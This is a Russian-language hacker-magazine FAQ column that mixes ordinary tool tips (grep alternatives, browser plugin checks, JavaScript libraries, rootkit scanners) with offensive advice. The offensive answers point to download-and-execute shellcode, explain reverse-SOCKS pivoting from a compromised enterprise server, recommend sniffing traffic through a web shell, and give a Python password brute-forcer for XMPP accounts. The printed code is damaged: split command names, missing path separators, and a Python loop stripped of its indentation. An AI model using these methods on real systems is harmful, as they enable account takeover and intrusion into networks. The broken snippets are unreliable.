Содержание статьи

Есть вопросы — присылай на faq@real.xakep.ru

 

Q: Мне нужен шелл-код, который бы загружал из Сети .exe-файл и выполнял его в системе Windows 7. Удивительное дело, но нигде (в том числе на milw0rm. com) не могу найти рабочий вариант. А также шелл-код, сгенерированный Metasploit’ом, который опять отказывается работать под Windows 7. Где взять действительно работающий вариант?

A:Для экспериментов можно попробовать шелл-код, который опубликован в блоге вьетнамской security-компании Bkis (bit.ly/fXfbCH). К сожалению, авторы не предоставляли исходники, но сам шелл-код на 100% работает. Ссылка на исполняемый файл, который необходимо загрузить, размещается в конце шелл-кода. В основе разработки лежат другие наработки с milw0rm.com, а также 100-байтовый шелл-код от SkyLined (code.google.com/p/w32-exec-calcshellcode), запускающий calc.exe на всех 32-битных версиях винды.

 

Q: Пишу инструкцию по безопасности для прогрессивных студентов экономической специальности. В пункте «Безопасность браузера» хочу упомянуть какой-нибудь универсальный инструмент для проверки безопасности установленных плагинов (насколько я понимаю, это сейчас одна из основных угроз). Что посоветуете?

A:Честно говоря, тут есть нюансы. Например, в Google Chrome по умолчанию встроен механизм для выявления небезопасных плагинов, и необходимости в дополнительных инструментах нет. Всякий раз при запуске устаревшего аддона пользователю выдается предупреждение. Впрочем, для установки доступно независимое от Google’а решение в виде плагина Secbrowsing (bit.ly/hQNnVu), который выполняет аналогичные проверки. В случае с Mozilla Firefox поиск небезопасных аддонов осуществляется с помощью специальной страницы Plugin Check (mozilla.com/en-US/plugincheck), проверка при этом производится без необходимости устанавливать что-либо в систему. Забавно, что этот сервис работает и для других браузеров.

Еще одним похожим инструментом является Qualys BrowserCheck (browsercheck.qualys.com). Для каждого из браузеров сервис предложит установить соответствующий плагин. Не могу не упомянуть и небезызвестную утилиту Secunia PSI (secunia.com/vulnerability_scanning/personal). Это, пожалуй, наиболее универсальный вариант, с помощью которого каждый может проверить на актуальность не только браузер и его расширения, но и другой установленный в системе софт.

 

Q: Работая в консоли винды, очень не хватает команды grep. Как быть?

A:Есть несколько решений.

  1. На самом деле, реализаций grep для Windows сегодня предостаточно. Это GnuWin32 (gnuwin32.sf.net), Windows grep (wingrep.com), GNU Grep For Windows (steve.org.uk/Software/grep), два варианта Grep For Windows (grepforwindows.com, pages.interlog.com/~tcharron/grep.html) и многие другие. Выбирай.
  2. В самой винде (начиная c XP) появилась пара команд, которые могут исправить положение — это find и более мощная findstr, которая поддерживает регулярные выражения.

Неудобство вызывает то, что поисковый запрос необходимо набирать в кавычках. Но от этого можно избавиться, создав в системе алиас. Необходимый для этого скрипт создается одной единственной командой:

echo fi ndstr %1 %2 %3 %4 %5 >
%systemroot%grep.cmd

Этот сценарий создается в %systemroot%, поэтому выполнять его нужно из командной строки, запущенной с правами администратора. По сути, после этого можно пользоваться аналогом grep’а, не задумываясь:

C:Windowssystem32>netstat -an | grep LISTEN
C:Windowssystem32>fi ndstr LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
[...]

  1. В PowerShell’е есть свой мощный аналог grep’а — это команда select-string. Для примера найдем с ее помощью все файлы с текстом «xakep» внутри текущей директории:

select-string .*.* -pattern "xakep"

Важно, что select-string поддерживает регулярные выражения. Так что если есть задача, скажем, отыскать на диске C: все txt-файлы с нужным тебе текстом, то она легко решается так:

get-childitem c: -include *.txt -rec
| select-string -pattern
"w+@[a-zA-Z_]+?.[a-zA-Z]{2,6}"

 

Q: А существует ли какая-нибудь встраиваемая СУБД для веб-страниц? Что-то вроде SQLite, но для веб-приложений?

A: Конечно, есть немало простеньких баз данных, реализованных на JavaScript. В одном из проектов мне довелось использовать одну из них, а именно Taffy DB (taffydb.com). По сути это JS-библиотека, которая работает как слой данных внутри любого веб-приложения.

Можно воспринимать ее как базу данных SQL, но работающую в браузере. Из особенностей:

  • простой синтаксис для использования;
  • высокая скорость работы;
  • всего 10 Кб кода;
  • простое подключение к любому вебприложению;
  • совместимость с большинством AJAXбиблиотек: JQuery, Dojo, Prototype, EXT и прочими;
  • полноценный CRUD-интерфейс (команды Create, Read, Update, Delete);
  • сортировка данных;
  • возможность создания сложных запросов;
  • поддержка событий (onInsert, onUpdate, onRemov) и их обработчиков.
 

Q: Пишу довольно сложное вебприложение, где для большего удобства необходимо реализовать горячие клавиши. Как это лучше всего сделать?

A:Я рекомендую библиотеку JavaScript Shortcuts Library (stepanreznikov.com/js-shortcuts) от Степана Резника, эксразработчика Яндекса. Как говорит сам автор, библиотека проста и приятна в использовании.

Убедиться в этом поможет пример.

1.Добавляем горячую клавишу:

$.Shortcuts.add({
type: 'down',
mask: 'Ctrl+A',
handler: function() {
debug('Ctrl+A');
}
});

2.Добавляем еще одну:

$.Shortcuts.add({
type: 'up',
mask: 'Shift+B',
handler: function() {
debug('Shift+B');
}
});

3. Начинаем реагировать на шорткаты:

$.Shortcuts.start();

Вот и все! Строка, задающая сочетание клавиш, должна состоять из имен клавиш, разделенных плюсами. Может быть не более одной клавиши, отличной от Ctrl, Shift или Alt.

Поддерживаемые клавиши:

  • модификаторы: Ctrl, Shift, Alt;
  • цифры: 0—9;
  • буквы: A—Z (case-insensitive);
  • специальные клавиши: Backspace, Tab, Enter, Pause, CapsLock, Esc, Space, PageUp, PageDown, End, Home, Left, Up, Right, Down, Insert, Delete, F1—F12, знак вопроса, минус, плюс.

Всего поддерживаются три типа событий (параметр type), по которым могут срабатывать обработчики:

  • down — на нажатие клавиши или сочетания клавиш;
  • up — на отпускание;
  • hold — на нажатие и удержание (обработчик будет вызван сразу после нажатия и потом будет вызываться с некоторой периодичностью, пока нажата клавиша).

При желании можно создать несколько списков горячих клавиш и легко между ними переключаться. Живая демонстрация доступна на сайте разработчика: stepanreznikov.com/js-shortcuts.

 

Q: В свое время было немало доработок для Windows, позволяющих придать системе вид Mac OS X, включая Dockпанель, оформление и поведение окон и так далее. Однако в «семерке» все из того, что я пробовал ранее, работает криво. Как быть?

A:Советую Lion Skin Pack 3.0 For Seven (hameddanger.deviantart.com/#/d3bg7fq). Это самый быстроразвивающийся набор доработок для винды, к тому же он, как видно из названия, реализует внешний вид только что вышедшей версии Mac OS X Lion.

 

Q: У меня есть шелл для сервера, который, помимо прочего, находится во внутренней сети предприятия. Я установил на него SOCKS-сервер, чтобы использовать его для удобного подключения к другим хостам внутри локалки (к примеру, веб-админкам через браузер со своей машины). Однако файрвол блокирует все подключения к SOCKS. Как быть?

A:Удобнее всего воспользоваться SOCKSсервером с обратным (reverse) подключением. Проверенный вариант — sSocks (sourceforge.net/projects/ssocks). Выглядит это следующим образом. На локальном компьютере запускается клиентская часть rcsocks, которая слушает два порта. На первый (скажем, 1080) будет осуществлять обратное подключение (backconnect) сер верная часть разработки, на второй (пусть это будет 1088) будем обращаться мы сами.

Далее на удаленном шелле мы запускаем как раз серверную часть rssocks, указав для подключения наш IP-адрес и порт (1080). Готово! После того, как серверная часть осуществит reverse-подключение, мы сможем прописать в любой программе локальный SOCKS-сервер (он у нас «слушает» порт 1088) и без проблем подключаться к хостам внутри локальной сети удаленного компьютера (веб-админкам, SSH-серверам и так далее). Видеодемонстрация доступна здесь: vimeo.com/22515255.

 

Q: Подскажи брутфорсер для Jabber’а (XMPP), который поддерживал бы все нюансы протокола.

A:В последней версии всем известной THC-Hydra (thc.org/thc-hydra) очень сильно прокачан модуль для подбора пароля к XMPP-аккаунтам. Впрочем, написать утилиту для подбора пароля для многих протоколов, в том числе XMPP, можно и самому. Благодаря готовому модулю XMPP процедура перебора пароля на том же Python может быть предельно проста:

JID = name@server.org
for password in wordlist:
JID = xmpp.protocol.JID(JID)
client = xmpp.Client(
JID.getDomain(), debug=[])
conn = client.connect()
auth = client.auth(
JID.getNode(), password,
resource=JID.getResource())
if auth == 'sasl':
print password
sys.exit(1)
client.disconnect()

Каждая строчка кода говорит сама за себя.

 

Q: Какие интересные разработки есть в области автоматизированного поиска руткитов?

A:Я так понимаю, что речь идет об инструментах для более-менее опытных людей, которым нужны утилиты-помощники, чтобы упростить поиск малвари. В таком случае есть несколько подходящих разработок:

  1. GMER (gmer.net);
  2. RootRepeal (sites.google.com/site/rootrepeal);
  3. RkUnhooker (bit.ly/dOYgBO).

Эти тулзы примерно похожи: отображают скрытые процессы и сервисы, выводят список скрытых файлов, ключей реестра, драйверов и альтернативных потоков NTFS. Кроме того, осуществляется мониторинг создания процессов, загрузки драйверов и библиотек, использования файлов, изменений реестра, активности TCP/IP-соединений. Определяются перехваты в SSDT/IDT/IRP.

 

Q: Какой самый простой и бесплатный способ воспользоваться сервисами, которые по умолчанию доступны только жителям США? Например, онлайн-радио Pandora (pandora.com)? Понимаю, что очевидным решением является работа через американский IP. Но как? Бесплатные тормозные прокси-серверы (которые, к тому же, возможно установлены на протрояненных компьютерах) — не вариант. Есть ли другие способы?

A:Хороший вариант — создать на территории США свой VPN-сервис. О том, как это сделать бесплатно, ты можешь прочитать в нашем материале «Бесплатный VPN от Amazon». Вариантом более простым, но менее универсальным является использование специальных программ, которые туннелируют твой трафик через свои сервера, тем самым скрывая настоящий IP-адрес.

Среди них есть те, которые предоставляют такую услугу бесплатно — это в том числе Free Hide IP (free-hideip.com). Программа шароварная, но среди бесплатных возможностей как раз предоставляется работа через американские серверы.

 

Q: У меня есть веб-шелл к виндовой машине и возможность загрузить файл. Задача — отснифать трафик. При этом по понятным причинам у меня нет возможности устанавливать дополнительные библиотеки вроде WinPcap, а доступ есть только к командной строке.

A:Попробуй RawCap (netresec.com/?page=RawCap). Исполняемый файл снифера весит всего 17 Кб, при этом для работы не требуется никаких дополнительных DLL-библиотек. В системе только должен быть установлен .NET Framework 2.0. Снифер слушает любые интерфейсы (включая Wi-Fi) и сохраняет дамп в pcap-формате. Но имей в виду, что под Vista и Windows 7 могут возникнуть проблемы из-за особенностей реализации RAW-сокетов.

 

Q: Я правильно понимаю, что с обычным Bluetooth-адаптером беспроводной эфир просто так не прослушаешь? Просто взять и запустить его в режиме мониторинга (как в случае Wi-Fi картой) не выйдет?

A:Совершенно верно. В отличие от снифинга Wi-Fi, для которого нет проблемы как с софтом, так и с железом, с Bluetooth ситуация непростая. Но ситуация поменялась после выступления Майкла Оссмана на конференции ShmooCon 2011 (видео доклада — bit.ly/dJWAsC), на которой он представил свой проект Ubertooth (ubertooth.sourceforge.net). В чем прорыв? Тут все наглядно. До этого момента железо для мониторинга BT-эфира можно было приобрести за суммы, начинающиеся от $1000. Оцени разницу: стоимость изготовления девайса Майкла составляет около $100. Ubertooth One — это дешевый Bluetooth-адаптер для осуществления снифинга BT-эфира. На сайте разработчика лежат подробные инструкции, как собрать такое устройство самому.

По сути, это USB-донгл с возможностью подключения внешней антенны, построенный на процессоре ARM Cortex-M3. Адаптер изначально разработан так, чтобы его можно было перевести в режим promiscuous, в котором возможно пассивно перехватывать данные из Bluetooth-эфира, передаваемые между собой другими девайсами. Причем в качестве программной части можно воспользоваться привычной нам тулзой Kismet (kismetwireless.net).

 

Q: Ищу инструмент для построения карты исполнения кода Windowsприложения в виде дерева вызовов различных процедур.

A:Из последних разработок не могу не отметить пакет инструментов Code Coverage Analysis Tools (github.com/Cr4sh/Codecoverageanalysis-tools) от небезызвестного Cr4sh’а. Основную задачу по сбору информации выполняет разработанный модуль для инструмента PIN (pintool.org), который использует динамическую рекомпиляцию кода для анализа его исполнения. Получить карту исполнения кода с помощью этих инструментов несложно:

1.Распаковываем архив PIN в произвольную директорию.

2.Копируем Coverager.dll в директорию с файлами PIN.

3. Редактируем сценарий execute_pin.bat так, чтобы переменная среды PINPATH содержала актуальный путь до директории PIN.

4. Далее используем BAT-сценарий для запуска целевого приложения: execute_pin_calls.bat calc.exe

5. После завершения работы исследуемого приложения в текущей директории будет создано некоторое количество текстовых файлов CoverageData.log.<N>, где <N> — порядковый номер потока, который исполнялся в контексте исследуемого приложения. В этих файлах содержится информация о дереве вызовов каждого из потоков, но ее нужно перевести в формат Calltree Profile Format:

python coverage_to_callgraph.py
<log_fi le_path> <thread_number> [options]

6.После этого мы получим файл Callgrind.out, который можно визуализировать с помощью программы Kcachegrind (sourceforge.net/projects/precompiledbin). Подробнее про разработку и нюансы использования читай в блоге автора: esagelab.ru/blog.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии